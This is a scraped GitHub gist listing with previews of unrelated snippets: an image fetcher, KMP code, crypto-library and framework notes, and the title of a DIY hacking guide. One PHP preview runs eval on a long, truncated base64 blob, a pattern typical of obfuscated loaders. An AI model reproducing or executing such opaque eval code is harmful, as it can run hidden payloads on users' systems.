Skip to content

Instantly share code, notes, and snippets.

View maciejczyzewski's full-sized avatar

Maciej A. Czyzewski maciejczyzewski

View GitHub Profile
@celoyd
celoyd / hi8-fetch.py
Last active August 8, 2023 05:05
Fetch and untile tiled Himawari-8 images from the http://himawari8.nict.go.jp PNG endpoint
import requests as req
import sys
from dateutil.parser import parse
from PIL import Image
from StringIO import StringIO
# hi8-fetch.py <date> <zoom level> <output>
# E.g.: hi8-fetch.py 2016-01-13T22:10:00 8 2016-01-13T221000-z8.png
# Fetch Himawari-8 full disks at a given zoom level.
# Valid zoom levels seem to be powers of 2, 1..16, and 20.
@denji
denji / Hackback
Last active November 8, 2023 23:35
Nikto, NMap , Skipfish and friends http://www.security-marathon.be/?p=844
_ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| < | |_) | (_| | (__| <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
A DIY Guide for those without the patience to wait for whistleblowers
--[ 1 ]-- Introduction
@booch
booch / Ruby ORMs.md
Created February 10, 2014 22:19
Ruby ORMs

Ruby ORMs

Abstract

Rails is really a collection of pieces that can be put together to create a web app. You can enhance or replace many of the components - how you write views, how controllers work, and how you build models. While models are built on top of ActiveRecord in the

@jo
jo / js-crypto-libraries.md
Last active November 2, 2024 04:38
List of JavaScript Crypto libraries.

JavaScript Crypto Libraries

List some crypto libraries for JavaScript out there. Might be a bit out dated. Scroll to the bottom.

WebCryptoAPI

http://www.w3.org/TR/WebCryptoAPI/

This specification describes a JavaScript API for performing basic cryptographic operations in web applications, such as hashing, signature generation and verification, and encryption and decryption. Additionally, it describes an API for applications to generate and/or manage the keying material necessary to perform these operations. Uses for this API range from user or service authentication, document or code signing, and the confidentiality and integrity of communications.

<?php
/**************DO NOT MODIFY ANYTHING PAST THIS POINT*************/
eval(base64_decode("JF9fRklMRV9fPV9fRklMRV9fOyRfWD0nTSNpb0NHbk5ucSshRC83QWIyCnFwIW8wPDYzdE9sa0wxdG9vbCtQdDJNOGtNeUlFCUxEeDcmdjY+aDtxaFBvPi9NT3NIZGVleDwjdjwyMCM+NEJpJD9ldDM2ejxjZkVmejBNCWpqQ2c0S2dGOHd0NWp4CW12NTIhS2JJS3NIc2skaXBrQmpIQThjdXkzOTJnM3hlZ3R2TCZFMTdudmcjUDQKSSM4YzVNd3RlI04vdmp3SDJ1TGY1cgk0clB6CWQydDYwSDBuc29nQms0Z3chOGQ/KyNDMU0JZHoJPHBIY0VJRjA7d3I5NkRzZQl1RzlCbz9JbjFkdjhzCj5paHJLQ2Uzd3o3TkhLPEw4NAp2ZglnSHV2OT5sP1AjCkY8YzRLTEFnc0g/I2QxSHBkdWYKNiRHQXVpNDBwdzgJPzNxdUt6OTAyazJlMUpoJmsJaGZNPmJMRzF4diZnTysrN1BIJmhhK3RtYjVIMko5TUdjMjw4Q1BqdUw2Tkk0eWQ/c3RHJnRiZwp0T2czJAlDTDQkYmw/SjAmYzM0Rm9uQmRoeDcyNXlycCZkeGhoJjFKP2k5cyZyUGN3ZgliZXY/az8hcWFiRXU5YXo2R3l1dVA0RiNueW5KbkIyaCs1akoJL2UkOXpDTiR1OGdhO3pKJDdFck5CbWo/Q2IJOzxCZTZybWphQ3kreUROb05taDNqaWZGb2M2d28zbThQZzYyakpleDQwOUp6cHIhKzdkCgp3aEVDQTQ4ampCT3M+JmJxZCRzeCtkMXdQSC9DMXNmPjcmaStqdzVtd08jMm9GaiZDY3I0CTVvPnhEczw0IXozMXBNeG0xYUI0IWpzMj8xczk7RFBoZiEKaTYrck5kbkVkaiRjciM7PFBmM20KR1AyNSQ/Tk
@epson121
epson121 / bs_tree_size.cpp
Created February 23, 2013 10:49
BS-tree size solved with and without additional memory.
/*
* BS-tree size solved with and without additional memory.
*
*/
#include <iostream>
#include <cstdlib>
using namespace std;
@ws6
ws6 / kmp.cpp
Created January 10, 2013 06:10
a fabulous KMP tutorial
//http://dev-faqs.blogspot.com/2010/05/knuth-morris-pratt-algorithm.html
#include "PatternMatcher.h"
vector<int> PatternMatcher::computeKmpPrefix(const std::string &pattern){
int patternSize = pattern.size();
vector<int> kmpPrefix(patternSize);
size_t prefixPos = 0;
size_t suffixPos = 1;
while(suffixPos < patternSize){
@agasiev
agasiev / KMP_prefix.cpp
Created December 6, 2012 23:24
KMP prefix function
std::vector<unsigned> kmp_prefix_function(std::string s) {
size_t n = s.size();
std::vector<unsigned> result(n);
for (int i = 1; i < n; i++) {
int j = result[i-1];
while (j > 0 && s[i] != s[j])
j = result[j-1];
@anchetaWern
anchetaWern / laravel-ums.markdown
Created December 6, 2012 11:14
Building a User Management System in Laravel

There's no shortage of good resources for learning laravel. So instead of the usual introductory tutorial were just gonna learn Laravel by building a project from scratch and that's gonna be a User Management System.

I don't know if my definition of a User Management System is correct but here's my idea of what's it's capable of doing:

  • Register Roles
  • Register Users
  • Update Users
@javan
javan / sl2-setup.md
Created July 23, 2012 14:47
My Sublime Text 2 setup